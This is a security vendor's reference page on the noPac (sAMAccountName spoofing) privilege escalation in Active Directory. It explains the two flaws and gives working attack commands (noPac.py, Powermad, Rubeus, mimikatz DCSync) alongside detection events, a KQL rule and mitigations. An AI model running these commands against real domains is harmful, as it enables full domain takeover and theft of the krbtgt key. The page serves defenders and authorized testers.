1. Resources
  2. Identity Threats
  3. Active Directory

noPac (sAMAccountName Spoofing, CVE-2021-42278 / CVE-2021-42287)

Also known as: noPac, sAMAccountName spoofing, SamTheAdmin, CVE-2021-42278, CVE-2021-42287

A domain user renames a computer account they control to a domain controller's name without the trailing $, gets a TGT, renames it back, and the KDC issues a ticket as the domain controller.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Low
Privileges required: Any authenticated identity
Any domain account that can create a computer account (MachineAccountQuota above 0) or that can write sAMAccountName on an existing computer or user account.
What the attacker gains
A service ticket to a domain controller as a Domain Admin, and from there DCSync of the whole domain.
Threat groups
APT28APT29APT32APT33BITTERBlackByteCobalt GroupFIN6FIN8HAFNIUMLAPSUS$MoustachedBouncerOilRigPLATINUMand 27 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1068, T1078.002.

How it works

noPac chains two flaws that were patched together in November 2021.

CVE-2021-42278: no check on computer account names. By convention a computer account's sAMAccountName ends with $: the domain controller DC01 has the account DC01$. Nothing enforced the convention. A user who controlled a computer account could rename it to DC01, the domain controller's name without the dollar sign. The two names are different strings, so the directory accepted the rename.

CVE-2021-42287: the KDC falls back to the name with a dollar sign. When the KDC processes a ticket request and can't find the account named in the presented TGT, it looks again with $ appended. A TGT didn't record which account it was issued to beyond the name.

Together:

  1. The attacker creates a computer account, for example WS99$, and clears its SPNs (a rename isn't allowed to leave SPNs that no longer match).
  2. They rename it to DC01 and request a TGT for DC01. The KDC issues it: the name exists.
  3. They rename the account back to WS99$. Now no account is called DC01.
  4. They present the TGT and ask for a service ticket to themselves on behalf of an administrator (S4U2self). The KDC looks up DC01, finds nothing, tries DC01$, finds the domain controller, and issues a service ticket for the domain controller's service, encrypted with the domain controller's key, naming the administrator as the user.

The attacker ends up with a valid ticket as a Domain Admin to a service on the domain controller.

Variants. The starting account doesn't have to be new. With write access to sAMAccountName on an existing computer or user account, and that account's password or hash, the same rename works; SPNs that reference the old name have to be removed first.

What the patches do. KB5008102 makes the account database validate names: a non-administrator can't create or rename a computer account to a name that doesn't end in a single $, and the object class must match the account type flags. KB5008380 makes the KDC add the requester's identity to the PAC of each TGT and refuse a ticket request when the requester in the TGT no longer matches the account.

Prerequisites

  • A valid domain account.
  • Control of an account name: ms-DS-MachineAccountQuota greater than 0 (the default is 10), or delegated rights to create computer objects, or write access to sAMAccountName on an existing account whose credentials the attacker holds.
  • A domain controller without the November 9, 2021 or later updates, or one whose KDC still runs with PacRequestorEnforcement at 0 on a build that honours it.
  • The name of a domain controller to imitate.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Check the quota and the patch state

Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties 'ms-DS-MachineAccountQuota'
# Checks whether the domain controller is still exploitable
python3 scanner.py corp.example.com/alice:'Password1' -dc-ip 192.0.2.10

2. Automated chain

noPac.py creates the computer account, renames it, gets the TGT, renames it back and requests the service ticket:

# Service ticket as Administrator, then replicate krbtgt
python3 noPac.py corp.example.com/alice:'Password1' -dc-ip 192.0.2.10 -dc-host DC01 \
    --impersonate Administrator -dump -just-dc-user corp/krbtgt

# Semi-interactive shell on the domain controller instead
python3 noPac.py corp.example.com/alice:'Password1' -dc-ip 192.0.2.10 -dc-host DC01 \
    --impersonate Administrator -shell

When the quota is 0 but the attacker controls an existing computer account, -no-add with -target-name and -old-hash reuses that account. The tool's own warning applies: changing the password of a real computer breaks its trust with the domain.

3. Manual chain on Windows

The same steps with Powermad and Rubeus make each stage visible:

# 1. Create a computer account (uses the machine account quota)
$pw = ConvertTo-SecureString 'Winter2026!Lab' -AsPlainText -Force
New-MachineAccount -MachineAccount 'WS99' -Password $pw -Domain corp.example.com -DomainController DC01.corp.example.com

# 2. Clear its SPNs, then rename it to the DC's name without the dollar sign
Set-ADComputer -Identity 'WS99$' -Clear servicePrincipalName
Set-MachineAccountAttribute -MachineAccount 'WS99' -Attribute samaccountname -Value 'DC01'

# 3. Request a TGT under the spoofed name
.\Rubeus.exe asktgt /user:DC01 /password:'Winter2026!Lab' /domain:corp.example.com /dc:DC01.corp.example.com /nowrap

# 4. Rename the account back
Set-MachineAccountAttribute -MachineAccount 'WS99' -Attribute samaccountname -Value 'WS99$'

# 5. S4U2self with the saved TGT: the KDC resolves DC01 to DC01$
.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:ldap/DC01.corp.example.com /dc:DC01.corp.example.com /ptt /ticket:<base64-tgt>

With the LDAP service ticket in memory, replication works from the same session:

mimikatz # lsadump::dcsync /domain:corp.example.com /user:krbtgt

On Linux, Impacket's getST.py performs step 5 with -self -impersonate Administrator -altservice cifs/DC01.corp.example.com -k -no-pass, and secretsdump.py -k -no-pass uses the resulting ticket.

4. Clean up

Delete the computer account, or ask an administrator to: a normal user can create computer accounts through the quota but can't delete them.

Impact

The chain turns any domain account into Domain Admin in minutes. With a service ticket as an administrator to the domain controller's LDAP or CIFS service, the attacker runs DCSync, takes the krbtgt key and can forge Golden Tickets. It is privilege escalation with no misconfiguration required beyond defaults: the default machine account quota is enough.

OPSEC and artifacts

  • Short rename window. The spoofed name only has to exist for the TGT request, so operators rename back within seconds. Both renames are still recorded: event 4781 carries the old and the new name in one event and needs no SACL.
  • Reusing an existing computer account avoids event 4741 for a new account, but still produces the 4781 pair, and a password change on a real computer breaks that machine.
  • TGT for a name without a dollar sign. Event 4768 shows a TGT issued to DC01 where the account SID belongs to another object than the domain controller.
  • Service ticket to the domain controller. Event 4769 for the S4U2self request, then events 4624 and 4672 on the domain controller for the administrator's session, from the attacker's address.
  • SPN and attribute changes. With directory change auditing and a SACL, event 5136 records the cleared servicePrincipalName and the sAMAccountName values.
  • Leftover account. The created computer account stays in the directory unless someone with delete rights removes it.
  • On patched domain controllers the attempt fails loudly: System event 16991 for the blocked rename, and KDC events 35 to 38 when a ticket lacks a PAC or the requester doesn't match.

Detection

  • The rename. The sAMAccountName spoofing rules look for event 4781 where a computer account's new name has no trailing $, and for the System events that patched domain controllers write when they block it. A new name that equals a domain controller's name without $ is close to proof.
  • The account creation. Computer account created by a user, event 4741, shortly before the rename.
  • Blocked attempts. Event 16991 (computer account name doesn't end in a single $) and 16990 (object class and account type mismatch), source Directory-Services-SAM.
  • KDC checks. Events 35, 36, 37 and 38 from the Kerberos-Key-Distribution-Center source. Event 38, a requester mismatch, is the one that describes this attack; 35 usually points to another domain controller that lacks the update.
  • Follow-on replication. The DCSync rules.
// Accounts renamed to or from a name that equals a domain controller's name without the trailing $
let DomainControllers = dynamic(["DC01", "DC02"]);
WindowsEvent
| where Channel == "Security" and EventID == 4781
| extend OldName = tostring(EventData.OldTargetUserName),
         NewName = tostring(EventData.NewTargetUserName),
         Subject = tostring(EventData.SubjectUserName)
| where toupper(NewName) in (DomainControllers) or toupper(OldName) in (DomainControllers)
| project TimeGenerated, Computer, Subject, OldName, NewName
| order by TimeGenerated asc

Event 4781 carries the old name in OldTargetUserName and the new one in NewTargetUserName. Compare names exactly: stripping the $ before comparing destroys the difference the detection depends on.

Mitigation

  • Install current updates on every domain controller. Both fixes shipped on November 9, 2021. The KDC requester check became mandatory with the October 11, 2022 updates, when PacRequestorEnforcement stopped being read. Until every domain controller has the update, an unpatched one remains a target.
  • Set the machine account quota to 0 and delegate computer joins to a provisioning group. The MachineAccountQuota guide walks through it.
  • Review who can create and rename computer objects. Delegated create rights on OUs and write access to sAMAccountName are the paths that remain when the quota is 0.
  • Audit account management on domain controllers. Audit Computer Account Management and Audit User Account Management give events 4741, 4742 and 4781; the audit policy guide has the settings. Collect the System log for 16990, 16991 and KDC events 35 to 38.
  • Clean up after an attempt. Delete computer accounts created by ordinary users that no machine uses. After a successful attack, treat the domain as compromised and reset krbtgt twice.
  • Harden Kerberos overall. See how to secure the Kerberos authentication protocol.

Detection rules for this attack

Log events to collect

FAQ

What does an attacker need for noPac?

A normal domain account and a way to control one account's sAMAccountName. By default any domain user can create up to ten computer accounts, and the creator can rename them. If the quota is zero, write access to sAMAccountName on an existing computer or user account, plus that account's password or hash, does the same.

Is noPac still exploitable?

Not on domain controllers with the November 2021 or later updates. The account database refuses a non-administrator renaming a computer account to a name that doesn't end in a single dollar sign, and the KDC writes the original requester into the ticket and rejects a ticket whose requester no longer matches. Since the October 2022 updates the KDC check can't be switched off.

Does setting MachineAccountQuota to 0 prevent noPac?

It removes the easiest path, because a normal user can no longer create the computer account the attack starts from. It doesn't remove the vulnerability. Anyone with delegated rights to create computers, or with write access to the name of an existing account, can still run the chain against an unpatched domain controller.

How do you detect sAMAccountName spoofing?

Event 4781 on domain controllers shows an account renamed to a name that equals a domain controller's name without the dollar sign, usually followed minutes later by a rename back. Around it are event 4741 for the new computer account, a TGT request (4768) for the DC-like name, and on patched domain controllers System events 16991 and KDC event 38.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.